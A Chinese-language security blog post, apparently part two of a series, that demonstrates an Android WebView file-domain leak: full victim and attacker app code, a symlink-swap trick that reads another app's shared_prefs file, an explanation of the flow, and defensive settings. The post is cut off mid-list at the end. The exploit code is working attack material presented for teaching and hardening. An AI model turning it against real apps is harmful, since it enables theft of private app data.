WebView File域信息泄漏(二)

WebView File域信息泄漏(二)

写在前面

在上一篇文章中,说明了WebView关于File域三个Setting涉及到的功能、默认的参数设置,以及当这三个功能全部都开启的时候的一种攻击方式。

在本文中将继续说明,在File域默认的开启状况下,如何攻击完成敏感信息的泄漏。

攻击方式

Demo

在默认设置下,我们需要编写两个APP来具体的解释攻击流程,首先是Victim APP中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example.webviewfiledemo;
public class MainActivity extends AppCompatActivity {

private WebView mWebView;
private Uri mUri;
private String url;

@SuppressLint("JavascriptInterface")
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSBridge(), "WE");
mWebView.getSettings().setAllowFileAccess(true);
mWebView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
});

Intent intent = getIntent();
url = intent.getStringExtra("url");
if (url != null) {
mWebView.loadUrl(url);
} else {
mWebView.loadUrl("https://www.google.com");
}
}

class JSBridge {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});

return "This text is returned from Java layer. js text = " + text;
}

public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}

这次写的webviewfiledemo APP只是完成了加载WebView的最基本功能和配置,可以通过传入Intent的Extra部分提取URL并打开相应的URL。

下面是AttackWebView中的攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
public class MainActivity extends AppCompatActivity {

public final static String HTML = "<body>\n" +
"<u>Wait a few seconds.</u>\n" +
"<script>\n" +
"var d = document;\n"+
"function doitjs(){\n"+
"var xhr = new XMLHttpRequest;\n"+
"xhr.onload = function(){\n"+
"var txt = xhr.responseText;\n"+
"d.body.appendChild(d.createTextNode(txt));\n"+
"alert(txt);"+"};\n"+
"xhr.open('GET',d.URL);\n"+
"xhr.send(null);\n"+
"}\n"+
"setTimeout(doitjs,8000);\n"+
"</script>\n"+
"</body>\n";
public static String MY_TMP_DIR;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}

public void doit() {
String HTML_PATH = MY_TMP_DIR+"/A0"+".html";
try {
cmdexec("mkdir "+MY_TMP_DIR);
cmdexec("echo \"" + HTML+"\"> "+HTML_PATH);
cmdexec("chmod -R 777 "+MY_TMP_DIR);
grantFileAllPermission(new File(MY_TMP_DIR));
Thread.sleep(3000);
invokeVulnAPP("file://"+HTML_PATH);
Thread.sleep(6000);
cmdexec("rm "+HTML_PATH);
cmdexec("ln -s "+"/data/data/com.example.webviewfiledemo/shared_prefs/WebViewChromiumPrefs.xml"+" "+HTML_PATH);
} catch (Exception e){
e.printStackTrace();
}

}

public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.putExtra("url",url);
//intent.putExtra("url","https://www.google.com");
intent.setClassName("com.example.webviewfiledemo","com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
e.printStackTrace();
}
}

public void cmdexec (String cmd) {
try {
String[] tmp = new String[] {"/system/bin/sh","-c",cmd};
Runtime.getRuntime().exec(tmp);
} catch (Exception e){
e.printStackTrace();
}
}

public static void grantFileAllPermission(File file) {
file.setReadable(true, false);
file.setWritable(true, false);
file.setExecutable(true, false);
if (file.isDirectory()) {
for (File child : file.listFiles()) {
grantFileAllPermission(child);
}
}
}
}

攻击流程解析

Em….个人感觉这种攻击方式还是很有意思的,首先,由于目标Activity在加载WebView的时候已经禁用了setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs,因此我们加载的javascript是不能够再次打开File域名(file://)下的文件了。但是由于setJavaScriptEnabled(true)和setAllowFileAccess(true)我们仍然可以让Victim APP加载File域下的文件也可以执行其中的JavaScript代码。

因此,攻击流程如下:

  1. Attack APP编写一个HTML文件,存放于自己APP sandbox的目录下。HTML文件中的javascript功能是延时读取自己文件中的内容。
  2. 调起Victim APP中的Activity去加载Attack APP编写好的HTML文件。
  3. 在延时读取的期间,Attack APP会删除HTML的文件,并创建一个软连接到攻击者想要读取的文件上。
  4. 这样,延时读取的内容就会是软连接到的文件内容,以此做到了隐私数据的泄漏。

当然,这种攻击方式仍有一些局限,作者在做此问题的复现的时候发现,在Android Q中,跨sandbox读取软链接创建的文件,会遭到SELinux的拦截从而无法泄漏数据。

WebView安全配置

对于WebView开发的安全”建议”(额,因为俺不是个Android开发,可能更多的就只是构想而已) :

  1. 对于不需要使用File协议的,设置setAllowFileAccess(false)

  2. 如非特殊情况,setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs设置为false。

  3. 对于Javascript Enable的问题,看到这个策略感觉还是很不错的

    1
    2
    3
    4
    5
    6
    7
    8
    setAllowFileAccess(true);                             //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
    } else {
    setJavaScriptEnabled(true);
    }
  4. 对于WebView传入的URL做严格的校验,特别是导出组件;

  5. 对于导出的JSAPI